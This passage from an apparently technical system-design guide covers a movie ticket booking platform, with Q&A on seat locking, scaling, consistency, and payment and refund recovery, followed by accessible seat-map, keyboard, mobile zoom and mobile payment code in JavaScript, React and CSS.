      await db.insertLock(showId, seatId, userId); // Backup
      return true;
    }
  } catch (err) {
    // Redis failed, fall back to DB
    logger.warn('Redis unavailable, using DB locking');
    return await db.acquireLockWithTransaction(showId, seatId, userId);
  }
  return false;
}

Q3: How would you handle 100,000 concurrent users trying to book 200 seats for Avengers premiere?

Answer:
1. Virtual Waiting Room (Pre-booking Phase):
   - Users join queue before booking opens
   - Token-based access (JWT with queue position)
   - Rate: Allow 500 users/minute to seat selection
   - Fair queuing: FIFO or lottery system

2. Load Distribution:
   - Multiple booking servers (auto-scaling)
   - CDN for static content (posters, theater info)
   - Read replicas for catalog queries
   - Separate Redis cluster for locks

3. Progressive Seat Release:
   - Release 50 seats every 5 minutes
   - Prevents instant sell-out
   - Reduces contention
   - Better UX (users have hope)

4. Optimistic UI:
   - Show approximate availability
   - Update every 5-10 seconds (not real-time)
   - Reduce websocket load

5. Rate Limiting:
   - Per user: 10 lock attempts/min
   - Per show: 100 concurrent locks max
   - API gateway throttling

6. Caching Strategy:
   - Cache seat map for 5 seconds
   - Eventual consistency acceptable
   - Reduce DB queries by 95%

Architecture:
┌──────────────┐
│ Queue System │ → Token → Seat Selection (500/min)
│ (100K users) │                ↓
└──────────────┘        ┌──────────────┐
                        │ Load Balancer│
                        └──────┬───────┘
                    ┌──────────┼──────────┐
                    ▼          ▼          ▼
                [Server1]  [Server2]  [Server3]
                    │          │          │
                    └──────────┼──────────┘
                               ▼
                        [Redis Cluster]
                        [DB + Replicas]

Q4: What if payment succeeds but the booking confirmation fails due to database error?

Answer: This is a critical scenario requiring careful handling.

Immediate Actions:
1. Do NOT release seat lock
2. Mark payment as SUCCESS in payments table
3. Log error to critical alert queue
4. Return 500 error to user with message:
   "Payment received. Confirmation pending. Check email in 5 mins."

Recovery Mechanisms:
1. Automatic Retry (Idempotent):
   - Retry booking creation 3 times with exponential backoff
   - Use transaction ID to prevent duplicates
   - If success → Send confirmation email

2. Dead Letter Queue:
   - If retries fail → Move to DLQ
   - Manual intervention by ops team
   - Priority: High (customer paid)

3. Reconciliation Job:
   - Runs every 5 minutes
   - Finds payments with SUCCESS but no booking
   - Attempts to create booking
   - If seat no longer available:
     → Offer alternative seats
     → Auto-refund if user doesn't respond in 24h

4. Customer Communication:
   - Immediate: "Processing your booking..."
   - After 5 mins: Email with status
   - After 1 hour: Call customer support
   - Worst case: Full refund + apology voucher

Code Pattern:
async function handlePaymentSuccess(paymentId, bookingId) {
  const maxRetries = 3;

  for (let i = 0; i < maxRetries; i++) {
    try {
      await db.transaction(async (trx) => {
        // Update booking status
        await trx('bookings')
          .where({ id: bookingId })
          .update({
            status: 'CONFIRMED',
            payment_id: paymentId,
            confirmed_at: new Date()
          });

        // Update seat status
        await trx('show_seats')
          .where({ booking_id: bookingId })
          .update({ status: 'BOOKED' });

        // Release locks
        await releaseLocks(bookingId);
      });

      // Success!
      await sendConfirmationEmail(bookingId);
      return { success: true };

    } catch (err) {
      logger.error(`Booking confirmation failed (attempt ${i+1})`, err);
      if (i === maxRetries - 1) {
        // Failed all retries
        await publishToDeadLetterQueue({
          paymentId,
          bookingId,
          error: err.message
        });
      }
      await sleep(2 ** i * 1000); // Exponential backoff
    }
  }
}

Q5: How do you prevent a user from locking too many seats across multiple shows?

Answer:
1. Rate Limiting:
   - Max 10 seats locked at any time per user
   - Max 3 active locks (different shows) per user
   - Enforced at API gateway + application level

2. Validation Check:
   - Before acquiring new lock:
     SELECT COUNT(*) FROM seat_locks
     WHERE user_id = ? AND status = 'ACTIVE'
   - If count >= 10 → Reject with 429 Too Many Requests

3. Lock Quota System:
   Redis Key: lock_quota:user:{userId}
   Value: { total_seats: 6, shows: ['show1', 'show2'] }

   - Increment on lock acquire
   - Decrement on lock release
   - Atomic INCR/DECR operations

4. Business Rules:
   - Max 10 seats per booking
   - Max 3 concurrent bookings
   - Release old locks before new ones

5. Fraud Detection:
   - Flag users with abnormal patterns
   - Block automated bots
   - CAPTCHA for suspicious activity

Scalability

Q6: How would you scale this system to handle 1 million concurrent users globally?

Answer:
1. Geographic Distribution:
   - Multi-region deployment (US, EU, APAC)
   - Region-based routing (latency-based)
   - Data residency compliance

2. Database Scaling:
   - Sharding by theater_id or city
   - Separate clusters per region
   - Cross-region replication for read
   - Write to local region only

3. Caching:
   - Global CDN (CloudFront/Cloudflare)
   - Regional Redis clusters
   - Edge caching for static content

4. Service Architecture:
   - Microservices with independent scaling
   - Catalog Service: 100 instances (read-heavy)
   - Booking Service: 50 instances (write-heavy)
   - Payment Service: 30 instances

5. Load Balancing:
   - DNS-based (Route53) for regions
   - Application LB within region
   - Consistent hashing for Redis

6. Asynchronous Processing:
   - Event-driven architecture (Kafka)
   - Notification service scales independently
   - Analytics processed async

7. Auto-scaling:
   - Kubernetes HPA (Horizontal Pod Autoscaling)
   - Scale on CPU, memory, request rate
   - Predictive scaling (ML-based)

8. Database Optimization:
   - Read replicas: 5 per region
   - Connection pooling
   - Query optimization
   - Materialized views for reports

Architecture:
┌─────────────────────────────────────────────────┐
│                Global CDN                        │
│          (Static content, images)               │
└────────────────┬────────────────────────────────┘
                 │
      ┌──────────┴──────────┐
      │                     │
┌─────▼──────┐       ┌──────▼─────┐
│  US Region │       │ APAC Region│
│            │       │            │
│ App: 50    │       │ App: 50    │
│ Redis: 3   │       │ Redis: 3   │
│ DB: Primary│       │ DB: Replica│
└────────────┘       └────────────┘

Data Consistency

Q7: How do you ensure no double booking ever happens?

Answer: Multi-layer defense strategy

Layer 1: Atomic Redis Lock
- SETNX operation (atomic SET if Not eXists)
- Only one client can acquire lock
- Foundation of consistency

Layer 2: Database Row Lock
- PostgreSQL: SELECT ... FOR UPDATE NOWAIT
- Pessimistic locking during critical section
- Prevents phantom reads

Layer 3: Optimistic Locking
- Version field in show_seats table
- Update only if version matches
- Detects concurrent modifications

Layer 4: Unique Constraints
- UNIQUE constraint on (show_id, seat_id, status)
  WHERE status = 'LOCKED'
- Database enforces business rule
- Last line of defense

Layer 5: Idempotency
- Lock ID unique per request
- Duplicate requests return same result
- No side effects

Complete Flow:
async function acquireSeatLock(showId, seatId, userId) {
  const lockId = generateUUID();
  const lockKey = `lock:show:${showId}:seat:${seatId}`;

  // Layer 1: Redis atomic lock
  const redisLock = await redis.set(
    lockKey, `${userId}:${lockId}`, 'NX', 'EX', 600
  );
  if (!redisLock) {
    throw new Error('Seat already locked');
  }

  try {
    // Layer 2 & 3: DB with row lock and version check
    const client = await pool.connect();
    await client.query('BEGIN');

    const result = await client.query(`
      SELECT status, version
      FROM show_seats
      WHERE show_id = $1 AND seat_id = $2
      FOR UPDATE NOWAIT
    `, [showId, seatId]);

    if (result.rows[0].status !== 'AVAILABLE') {
      throw new Error('Seat not available');
    }

    // Layer 3: Optimistic lock check
    const updateResult = await client.query(`
      UPDATE show_seats
      SET
        status = 'LOCKED',
        locked_by = $1,
        locked_at = NOW(),
        version = version + 1
      WHERE
        show_id = $2
        AND seat_id = $3
        AND status = 'AVAILABLE'
        AND version = $4
      RETURNING *
    `, [userId, showId, seatId, result.rows[0].version]);

    if (updateResult.rowCount === 0) {
      throw new Error('Concurrent modification detected');
    }

    // Layer 4: Unique constraint enforced by DB
    await client.query(`
      INSERT INTO seat_locks (id, show_id, seat_id, user_id, expires_at)
      VALUES ($1, $2, $3, $4, NOW() + INTERVAL '10 minutes')
    `, [lockId, showId, seatId, userId]);

    await client.query('COMMIT');
    client.release();

    return { lockId, expiresAt: new Date(Date.now() + 600000) };

  } catch (err) {
    // Rollback and release Redis lock
    await redis.del(lockKey);
    throw err;
  }
}

Testing:
- Chaos engineering: Simulate concurrent requests
- Load test: 1000 users on 10 seats
- Expected: Exactly 10 locks acquired, 990 rejected
- Monitor: Zero double bookings in production

Q8: What consistency model do you use and why?

Answer:
Different consistency models for different data:

1. Seat Locks (Strong Consistency):
   - Model: Linearizability
   - Why: Critical to prevent double booking
   - Implementation:
     - Redis: Single master for locks
     - DB: Synchronous replication
     - No stale reads allowed

2. Seat Availability Display (Eventual Consistency):
   - Model: Eventual consistency
   - Why: Performance > Real-time accuracy
   - Implementation:
     - Cache TTL: 5 seconds
     - Users see slightly stale data (acceptable)
     - Actual lock attempt uses strong consistency

3. Booking History (Causal Consistency):
   - Model: Read-your-writes
   - Why: User must see their own bookings immediately
   - Implementation:
     - After booking → Read from primary
     - Other users → Can read from replica

4. Movie Catalog (Eventual Consistency):
   - Model: Eventual consistency
   - Why: Static data, rarely changes
   - Implementation:
     - CDN cache: 1 hour
     - Redis cache: 30 minutes
     - Async invalidation

5. Payment Records (Strong Consistency):
   - Model: Serializable
   - Why: Financial accuracy critical
   - Implementation:
     - ACID transactions
     - Two-phase commit with gateway
     - Reconciliation jobs

CAP Theorem Trade-off:
- Seat locking: CP (Consistency + Partition tolerance)
  - During partition: Reject requests (fail-safe)
  - No availability compromise on correctness

- Catalog browsing: AP (Availability + Partition tolerance)
  - During partition: Serve stale data
  - Better UX than downtime

Performance

Q9: How do you optimize the seat selection API for sub-200ms response time?

Answer:
1. Caching Strategy:
   - L1: Browser cache (seat layout, static)
   - L2: CDN cache (theater info, images)
   - L3: Redis cache (seat availability)
   - L4: Application memory (hot data)

2. Data Denormalization:
   - Instead of joining 5 tables:
     CREATE MATERIALIZED VIEW show_seat_availability AS
     SELECT
       show_id,
       json_agg(json_build_object(
         'seatId', seat_id,
         'status', status,
         'price', price
       )) as seats
     FROM show_seats
     GROUP BY show_id;

   - Refresh on seat status change
   - Single query instead of joins

3. Redis Optimization:
   - Pipelining: Batch multiple seat checks
   - Hash structure: HGETALL for entire seat map

   Key: seats:show:{showId}
   Value: {
     "A1": "AVAILABLE:200",
     "A2": "LOCKED:200",
     ...
   }

   Single Redis call for all seats

4. Database Optimization:
   - Covering index: Includes all needed columns
     CREATE INDEX idx_covering ON show_seats(show_id)
     INCLUDE (seat_id, status, price);

   - Index-only scan: No table access needed
   - Parallel queries: For large seat maps

5. Network Optimization:
   - HTTP/2: Multiplexing
   - Compression: Gzip response (JSON → 70% smaller)
   - Connection pooling: Reuse connections

6. API Design:
   - Paginated response for large halls (500+ seats)
   - Incremental updates: Only changed seats
   - WebSocket: Push updates (no polling)

7. Code Optimization:
   // Before: N queries
   for (let seat of seats) {
     const status = await getStatus(seat.id); // 200 DB calls
   }

   // After: 1 query
   const statuses = await db.query(`
     SELECT seat_id, status, price
     FROM show_seats
     WHERE show_id = $1
   `, [showId]); // 1 DB call

8. Monitoring:
   - APM: Trace each component (Redis, DB, API)
   - Identify bottlenecks
   - Optimize slowest component first

Typical Breakdown (target < 200ms):
- API Gateway: 10ms
- Redis lookup: 5ms (cache hit)
- DB query: 30ms (cache miss)
- Serialization: 10ms
- Network: 50ms
- Total: 105ms ✓

Q10: How would you design the cancellation and refund flow?

Answer:
Cancellation Flow:

1. User Initiates Cancellation:
   POST /api/v1/bookings/{bookingId}/cancel
   Body: { reason: "User requested" }

2. Validation:
   - Check booking exists and belongs to user
   - Check cancellation policy (e.g., 2 hours before show)
   - Check if already cancelled
   - Calculate refund amount (policy-based)

3. State Transition:
   BEGIN TRANSACTION;

   -- Update booking status
   UPDATE bookings
   SET status = 'CANCELLED', cancelled_at = NOW()
   WHERE id = ? AND status = 'CONFIRMED';

   -- Release seats (make available)
   UPDATE show_seats
   SET status = 'AVAILABLE', booking_id = NULL
   WHERE booking_id = ?;

   -- Create refund record
   INSERT INTO refunds (booking_id, amount, status, reason)
   VALUES (?, ?, 'PENDING', ?);

   COMMIT;

4. Process Refund:
   - Call payment gateway refund API
   - Update refund status: PROCESSING
   - Wait for gateway confirmation (webhook)
   - Update refund status: SUCCESS/FAILED

5. Notification:
   - Email: Cancellation confirmed
   - SMS: Refund initiated
   - Push: Refund processed

Edge Cases:
1. Partial Refund (Late Cancellation):
   - Within 24 hours: 50% refund
   - Within 2 hours: No refund
   - Policy engine for rules

2. Concurrent Cancellation and Rebooking:
   - Seat released → Another user books immediately
   - Original user refund still processed
   - Seat availability updated atomically

3. Refund Failure:
   - Gateway timeout or error
   - Retry 3 times with backoff
   - Manual reconciliation queue
   - Customer support notified

4. Double Cancellation:
   - Idempotency: Check status before cancellation
   - If already cancelled: Return existing refund details
   - No duplicate refunds

Code:
async function cancelBooking(bookingId, userId, reason) {
  // 1. Validate
  const booking = await db.query(`
    SELECT * FROM bookings
    WHERE id = $1 AND user_id = $2 AND status = 'CONFIRMED'
  `, [bookingId, userId]);

  if (!booking.rows.length) {
    throw new Error('Booking not found or already cancelled');
  }

  // 2. Check cancellation policy
  const showTime = booking.rows[0].show_time;
  const hoursUntilShow = (showTime - Date.now()) / (1000 * 60 * 60);

  if (hoursUntilShow < 2) {
    throw new Error('Cancellation not allowed within 2 hours of show');
  }

  const refundPercentage = hoursUntilShow >= 24 ? 100 : 50;
  const refundAmount = booking.rows[0].amount * (refundPercentage / 100);

  // 3. Database transaction
  const client = await pool.connect();
  try {
    await client.query('BEGIN');

    // Update booking
    await client.query(`
      UPDATE bookings
      SET status = 'CANCELLED', cancelled_at = NOW()
      WHERE id = $1
    `, [bookingId]);

    // Release seats atomically
    await client.query(`
      UPDATE show_seats
      SET status = 'AVAILABLE', booking_id = NULL
      WHERE booking_id = $1
    `, [bookingId]);

    // Create refund record
    const refundResult = await client.query(`
      INSERT INTO refunds (id, booking_id, amount, status, reason)
      VALUES ($1, $2, $3, 'PENDING', $4)
      RETURNING *
    `, [generateUUID(), bookingId, refundAmount, reason]);

    await client.query('COMMIT');

    // 4. Async refund processing
    await publishEvent('refund.initiated', {
      refundId: refundResult.rows[0].id,
      paymentId: booking.rows[0].payment_id,
      amount: refundAmount
    });

    // 5. Clear cache
    await redis.del(`booking:${bookingId}`);
    await redis.del(`seats:show:${booking.rows[0].show_id}`);

    return {
      refundId: refundResult.rows[0].id,
      refundAmount,
      estimatedDate: new Date(Date.now() + 7 * 24 * 60 * 60 * 1000)
    };

  } catch (err) {
    await client.query('ROLLBACK');
    throw err;
  } finally {
    client.release();
  }
}

// Refund processor (async worker)
async function processRefund(refundId) {
  const refund = await db.getRefund(refundId);

  try {
    // Call payment gateway
    const gatewayResponse = await paymentGateway.initiateRefund({
      paymentId: refund.payment_id,
      amount: refund.amount,
      reason: refund.reason
    });

    // Update status
    await db.updateRefund(refundId, {
      status: 'PROCESSING',
      gateway_refund_id: gatewayResponse.refundId
    });

    // Wait for webhook confirmation
    // (or poll gateway status)

  } catch (err) {
    logger.error('Refund failed', { refundId, error: err });

    // Retry logic
    const retries = refund.retry_count || 0;
    if (retries < 3) {
      await scheduleRetry(refundId, retries + 1);
    } else {
      // Manual intervention needed
      await alertCustomerSupport(refundId);
    }
  }
}

12. Accessibility (A11y)

12.1 Seat Map Accessibility

Challenge: Seat maps are inherently visual and grid-based, making them difficult for screen reader users.

┌─────────────────────────────────────────────────────────────┐
│            Accessible Seat Selection Interface               │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  Navigation Modes:                                           │
│  1. Grid Navigation (Arrow keys)                            │
│  2. Row Navigation (Jump between rows)                      │
│  3. Search by Seat (Type "A5" to jump)                      │
│  4. Filter by Type (Show only available/premium)            │
│                                                              │
│  Screen Reader Announcements:                               │
│  "Row A, Seat 1, Available, Regular, $200"                  │
│  "Row A, Seat 2, Selected, Premium, $300"                   │
│  "Row A, Seat 3, Booked, Not available"                     │
│  "Row A, Seat 4, Locked by another user"                    │
│                                                              │
└─────────────────────────────────────────────────────────────┘

Accessible Seat Grid Implementation:

function AccessibleSeatMap({ seats, rows, cols, onSelect }) {
  const [focusedSeat, setFocusedSeat] = useState(null);
  const [selectedSeats, setSelectedSeats] = useState([]);
  const gridRef = useRef(null);

  return (
    <div
      role="application"
      aria-label="Seat selection grid"
      aria-describedby="seat-instructions"
    >
      {/* Instructions for screen readers */}
      <div id="seat-instructions" className="sr-only">
        Use arrow keys to navigate between seats. Press Enter or Space to select
        a seat. Press Escape to clear selection. Selected seats will be
        announced.
      </div>

      {/* Live region for announcements */}
      <div
        role="status"
        aria-live="polite"
        aria-atomic="true"
        className="sr-only"
      >
        {selectedSeats.length > 0 &&
          `${selectedSeats.length} seats selected. Total: $${calculateTotal()}`}
      </div>

      {/* Screen indicator */}
      <div role="img" aria-label="Screen location at top">
        SCREEN THIS WAY
      </div>

      {/* Seat grid */}
      <div
        ref={gridRef}
        role="grid"
        aria-label={`Seat grid with ${rows} rows and ${cols} columns`}
        aria-rowcount={rows}
        aria-colcount={cols}
        onKeyDown={handleKeyDown}
      >
        {seatRows.map((row, rowIndex) => (
          <div
            key={row.name}
            role="row"
            aria-rowindex={rowIndex + 1}
            aria-label={`Row ${row.name}`}
          >
            {/* Row label */}
            <span role="rowheader" aria-label={`Row ${row.name}`}>
              {row.name}
            </span>

            {row.seats.map((seat, colIndex) => (
              <button
                key={seat.id}
                role="gridcell"
                aria-colindex={colIndex + 1}
                aria-selected={selectedSeats.includes(seat.id)}
                aria-disabled={seat.status !== "AVAILABLE"}
                aria-label={getSeatAriaLabel(seat)}
                tabIndex={focusedSeat === seat.id ? 0 : -1}
                className={getSeatClassName(seat)}
                onClick={() => handleSeatClick(seat)}
                onFocus={() => setFocusedSeat(seat.id)}
              >
                <span aria-hidden="true">{seat.number}</span>
              </button>
            ))}
          </div>
        ))}
      </div>

      {/* Selection summary */}
      <div role="region" aria-label="Selection summary" aria-live="polite">
        <h3>Selected Seats</h3>
        <ul>
          {selectedSeats.map((seatId) => (
            <li key={seatId}>
              Seat {seatId} - ${getSeatPrice(seatId)}
              <button
                aria-label={`Remove seat ${seatId} from selection`}
                onClick={() => removeSeat(seatId)}
              >
                Remove
              </button>
            </li>
          ))}
        </ul>
        <p>Total: ${calculateTotal()}</p>
      </div>

      {/* Timer with aria-live */}
      <div
        role="timer"
        aria-live="assertive"
        aria-label={`Time remaining: ${formatTime(timeRemaining)}`}
      >
        {formatTime(timeRemaining)}
      </div>
    </div>
  );
}

function getSeatAriaLabel(seat) {
  const status = {
    AVAILABLE: "Available",
    BOOKED: "Booked, not available",
    LOCKED: "Temporarily held by another user",
    SELECTED: "Selected by you",
  };

  return (
    `Row ${seat.row}, Seat ${seat.number}, ${status[seat.status]}, ` +
    `${seat.type} seat, ${seat.price} dollars`
  );
}

12.2 Keyboard Navigation

function useGridKeyboardNavigation({
  rows,
  cols,
  focusedSeat,
  setFocusedSeat,
  onSelect,
}) {
  const handleKeyDown = useCallback(
    (event) => {
      const { row, col } = getSeatPosition(focusedSeat);

      switch (event.key) {
        case "ArrowRight":
          event.preventDefault();
          if (col < cols - 1) {
            setFocusedSeat(getSeatId(row, col + 1));
          }
          break;

        case "ArrowLeft":
          event.preventDefault();
          if (col > 0) {
            setFocusedSeat(getSeatId(row, col - 1));
          }
          break;

        case "ArrowDown":
          event.preventDefault();
          if (row < rows - 1) {
            setFocusedSeat(getSeatId(row + 1, col));
          }
          break;

        case "ArrowUp":
          event.preventDefault();
          if (row > 0) {
            setFocusedSeat(getSeatId(row - 1, col));
          }
          break;

        case "Enter":
        case " ":
          event.preventDefault();
          onSelect(focusedSeat);
          break;

        case "Home":
          event.preventDefault();
          if (event.ctrlKey) {
            // First seat in grid
            setFocusedSeat(getSeatId(0, 0));
          } else {
            // First seat in row
            setFocusedSeat(getSeatId(row, 0));
          }
          break;

        case "End":
          event.preventDefault();
          if (event.ctrlKey) {
            // Last seat in grid
            setFocusedSeat(getSeatId(rows - 1, cols - 1));
          } else {
            // Last seat in row
            setFocusedSeat(getSeatId(row, cols - 1));
          }
          break;

        case "PageDown":
          event.preventDefault();
          // Jump 5 rows down
          setFocusedSeat(getSeatId(Math.min(row + 5, rows - 1), col));
          break;

        case "PageUp":
          event.preventDefault();
          // Jump 5 rows up
          setFocusedSeat(getSeatId(Math.max(row - 5, 0), col));
          break;
      }
    },
    [rows, cols, focusedSeat, setFocusedSeat, onSelect]
  );

  return { handleKeyDown };
}

12.3 Color-Blind Friendly Design

/* Don't rely only on colors - use patterns and icons */
.seat {
  position: relative;
  min-width: 32px;
  min-height: 32px;
}

/* Available - Green with checkmark pattern */
.seat--available {
  background-color: #22c55e;
  background-image: url("data:image/svg+xml,..."); /* Subtle pattern */
}

/* Selected - Blue with filled circle */
.seat--selected {
  background-color: #3b82f6;
  border: 3px solid #1d4ed8;
}
.seat--selected::after {
  content: "✓";
  position: absolute;
  font-size: 14px;
}

/* Booked - Gray with X pattern */
.seat--booked {
  background-color: #9ca3af;
  background-image: repeating-linear-gradient(
    45deg,
    transparent,
    transparent 3px,
    rgba(0, 0, 0, 0.1) 3px,
    rgba(0, 0, 0, 0.1) 6px
  );
}
.seat--booked::after {
  content: "×";
  position: absolute;
}

/* Locked - Yellow with clock icon */
.seat--locked {
  background-color: #fbbf24;
  border: 2px dashed #92400e;
}
.seat--locked::before {
  content: "⏰";
  font-size: 10px;
}

/* High contrast mode */
@media (prefers-contrast: high) {
  .seat--available {
    background: white;
    border: 2px solid green;
  }
  .seat--selected {
    background: blue;
    color: white;
  }
  .seat--booked {
    background: black;
    color: white;
  }
  .seat--locked {
    background: yellow;
    border: 2px dashed black;
  }
}

/* Visible focus indicator */
.seat:focus-visible {
  outline: 3px solid #000;
  outline-offset: 2px;
  box-shadow: 0 0 0 6px rgba(59, 130, 246, 0.5);
}

12.4 Timer Accessibility

function AccessibleTimer({ expiresAt, onExpire }) {
  const [timeLeft, setTimeLeft] = useState(calculateTimeLeft(expiresAt));
  const [announced, setAnnounced] = useState(new Set());

  useEffect(() => {
    const interval = setInterval(() => {
      const remaining = calculateTimeLeft(expiresAt);
      setTimeLeft(remaining);

      if (remaining <= 0) {
        onExpire();
        clearInterval(interval);
      }
    }, 1000);

    return () => clearInterval(interval);
  }, [expiresAt, onExpire]);

  // Announce at key intervals
  const announcements = [300, 120, 60, 30, 10]; // 5min, 2min, 1min, 30s, 10s

  useEffect(() => {
    for (const threshold of announcements) {
      if (timeLeft <= threshold && !announced.has(threshold)) {
        setAnnounced((prev) => new Set([...prev, threshold]));
        break; // Only announce once per threshold
      }
    }
  }, [timeLeft, announced]);

  const urgency = timeLeft <= 60 ? "assertive" : "polite";
  const isUrgent = timeLeft <= 60;

  return (
    <>
      {/* Visual timer */}
      <div
        className={`timer ${isUrgent ? "timer--urgent" : ""}`}
        aria-hidden="true"
      >
        {formatTime(timeLeft)}
      </div>

      {/* Screen reader announcements */}
      <div
        role="timer"
        aria-live={urgency}
        aria-atomic="true"
        className="sr-only"
      >
        {getTimeAnnouncement(timeLeft)}
      </div>
    </>
  );
}

function getTimeAnnouncement(seconds) {
  if (seconds <= 10) return `Warning: Only ${seconds} seconds remaining!`;
  if (seconds <= 30) return `30 seconds remaining to complete your booking`;
  if (seconds <= 60) return `1 minute remaining`;
  if (seconds <= 120) return `2 minutes remaining`;
  if (seconds <= 300) return `5 minutes remaining`;
  return `${Math.floor(seconds / 60)} minutes remaining`;
}

12.5 Accessibility Testing Checklist

Seat Selection Testing:
□ Navigate entire grid using only keyboard
□ Screen reader announces seat details correctly
□ Focus indicator visible on all seats
□ Selected seats announced immediately
□ Timer countdown announced at key intervals
□ Error messages read by screen reader
□ Works with 200% zoom
□ Passes color contrast requirements (4.5:1)

Payment Flow Testing:
□ Form fields have proper labels
□ Error messages associated with fields
□ Focus moves to first error on validation
□ Success confirmation announced
□ Loading states communicated

Mobile Accessibility:
□ Touch targets minimum 44x44px
□ VoiceOver/TalkBack compatibility
□ Zoom gestures don't break layout
□ Reduced motion preference respected

13. Mobile & Touch Considerations

13.1 Responsive Seat Map

┌─────────────────────────────────────────────────────────────┐
│              Mobile Seat Map Strategies                      │
├─────────────────────────────────────────────────────────────┤
│                                                              │
│  Strategy 1: Horizontal Scroll                               │
│  ┌─────────────────────────────────────────┐                │
│  │ ←  [A1][A2][A3][A4][A5][A6][A7][A8]  → │                │
│  │     [B1][B2][B3][B4][B5][B6][B7][B8]    │                │
│  └─────────────────────────────────────────┘                │
│  Pros: Natural scrolling, no zoom needed                    │
│  Cons: Hard to see full layout                              │
│                                                              │
│  Strategy 2: Pinch-to-Zoom                                  │
│  ┌─────────────────────────────────────────┐                │
│  │        [Minimap in corner]              │                │
│  │    ┌──────────────────────┐            │                │
│  │    │ [A1][A2][A3][A4]     │            │                │
│  │    │ [B1][B2][B3][B4]  👆  │            │                │
│  │    └──────────────────────┘            │                │
│  └─────────────────────────────────────────┘                │
│  Pros: See detail and overview                              │
│  Cons: More complex interaction                              │
│                                                              │
│  Strategy 3: Row-by-Row Selection (Recommended for mobile)  │
│  ┌─────────────────────────────────────────┐                │
│  │  Select Row:  [A] [B] [C] [D] [E] ...   │                │
│  │                                          │                │
│  │  Row B Seats:                           │                │
│  │  [1✓] [2✓] [3] [4] [5×] [6] [7] [8]   │                │
│  │                                          │                │
│  │  Selected: B1, B2  |  $400             │                │
│  └─────────────────────────────────────────┘                │
│  Pros: Large touch targets, clear flow                      │
│  Cons: Less visual context                                  │
│                                                              │
└─────────────────────────────────────────────────────────────┘

13.2 Pinch-to-Zoom Implementation

function ZoomableSeatMap({ children }) {
  const [scale, setScale] = useState(1);
  const [position, setPosition] = useState({ x: 0, y: 0 });
  const [lastDistance, setLastDistance] = useState(0);
  const containerRef = useRef(null);

  const handleTouchStart = useCallback((e) => {
    if (e.touches.length === 2) {
      const distance = getDistance(e.touches[0], e.touches[1]);
      setLastDistance(distance);
    }
  }, []);

  const handleTouchMove = useCallback(
    (e) => {
      if (e.touches.length === 2) {
        e.preventDefault();

        const distance = getDistance(e.touches[0], e.touches[1]);
        const delta = distance - lastDistance;

        setScale((prev) => {
          const newScale = prev + delta * 0.01;
          return Math.min(Math.max(newScale, 0.5), 3); // Min 0.5x, Max 3x
        });

        setLastDistance(distance);
      } else if (e.touches.length === 1 && scale > 1) {
        // Pan when zoomed in
        const touch = e.touches[0];
        setPosition((prev) => ({
          x: prev.x + touch.movementX,
          y: prev.y + touch.movementY,
        }));
      }
    },
    [lastDistance, scale]
  );

  const handleDoubleTap = useCallback(
    (e) => {
      if (scale === 1) {
        // Zoom to 2x centered on tap point
        const rect = containerRef.current.getBoundingClientRect();
        const x = e.clientX - rect.left;
        const y = e.clientY - rect.top;

        setScale(2);
        setPosition({
          x: -(x - rect.width / 2),
          y: -(y - rect.height / 2),
        });
      } else {
        // Reset zoom
        setScale(1);
        setPosition({ x: 0, y: 0 });
      }
    },
    [scale]
  );

  return (
    <div
      ref={containerRef}
      className="seat-map-container"
      onTouchStart={handleTouchStart}
      onTouchMove={handleTouchMove}
      style={{ overflow: "hidden", touchAction: "none" }}
    >
      <div
        className="seat-map-content"
        style={{
          transform: `scale(${scale}) translate(${position.x}px, ${position.y}px)`,
          transformOrigin: "center center",
        }}
      >
        {children}
      </div>

      {/* Minimap */}
      {scale > 1 && (
        <Minimap scale={scale} position={position} onNavigate={setPosition} />
      )}

      {/* Zoom controls */}
      <div className="zoom-controls">
        <button onClick={() => setScale((s) => Math.min(s + 0.5, 3))}>+</button>
        <button onClick={() => setScale((s) => Math.max(s - 0.5, 0.5))}>
          −
        </button>
        <button
          onClick={() => {
            setScale(1);
            setPosition({ x: 0, y: 0 });
          }}
        >
          Reset
        </button>
      </div>
    </div>
  );
}

function getDistance(touch1, touch2) {
  return Math.hypot(
    touch2.clientX - touch1.clientX,
    touch2.clientY - touch1.clientY
  );
}

13.3 Touch-Optimized Seat Selection

/* Mobile-first seat styles */
.seat {
  /* Minimum touch target */
  min-width: 44px;
  min-height: 44px;

  /* Visual feedback */
  -webkit-tap-highlight-color: transparent;
  touch-action: manipulation;

  /* Prevent accidental selection */
  user-select: none;
  -webkit-user-select: none;
}

/* Active state feedback */
.seat:active {
  transform: scale(0.95);
  transition: transform 0.1s ease;
}

/* Haptic feedback trigger class */
.seat--selected {
  animation: selectPulse 0.2s ease;
}

@keyframes selectPulse {
  0% {
    transform: scale(1);
  }
  50% {
    transform: scale(1.1);
  }
  100% {
    transform: scale(1);
  }
}

/* Larger seats on mobile */
@media (max-width: 768px) {
  .seat {
    min-width: 36px;
    min-height: 36px;
    font-size: 12px;
  }

  .seat-row-label {
    min-width: 24px;
    font-size: 14px;
    font-weight: bold;
  }
}

/* Extra large for accessibility mode */
.seat-map--large-mode .seat {
  min-width: 56px;
  min-height: 56px;
  font-size: 16px;
}

13.4 Mobile Payment Integrations

// Apple Pay / Google Pay Integration
async function initializeMobilePayment(bookingDetails) {
  // Check availability
  const applePayAvailable = window.ApplePaySession?.canMakePayments();
  const googlePayAvailable = await checkGooglePayAvailability();

  return {
    applePay: applePayAvailable,
    googlePay: googlePayAvailable,
    upi: isIndianDevice(), // UPI for Indian users
    paytm: isPaytmInstalled(),
  };
}

// Apple Pay Implementation
async function processApplePay(booking) {
  const paymentRequest = {
    countryCode: "US",
    currencyCode: "USD",
    merchantCapabilities: ["supports3DS"],
    supportedNetworks: ["visa", "masterCard", "amex"],
    total: {
      label: `Movie Tickets - ${booking.movieName}`,
      amount: booking.totalAmount.toString(),
    },
    lineItems: booking.seats.map((seat) => ({
      label: `Seat ${seat.id}`,
      amount: seat.price.toString(),
    })),
  };

  const session = new ApplePaySession(3, paymentRequest);

  session.onvalidatemerchant = async (event) => {
    const merchantSession = await fetch("/api/apple-pay/validate", {
      method: "POST",
      body: JSON.stringify({ validationURL: event.validationURL }),
    }).then((r) => r.json());

    session.completeMerchantValidation(merchantSession);
  };

  session.onpaymentauthorized = async (event) => {
    const result = await processPayment({
      bookingId: booking.id,
      paymentMethod: "APPLE_PAY",
      token: event.payment.token,
    });

    session.completePayment(
      result.success
        ? ApplePaySession.STATUS_SUCCESS
        : ApplePaySession.STATUS_FAILURE
    );
  };

  session.begin();
}

// Google Pay Implementation
async function processGooglePay(booking) {
  const paymentsClient = new google.payments.api.PaymentsClient({
    environment: "PRODUCTION",
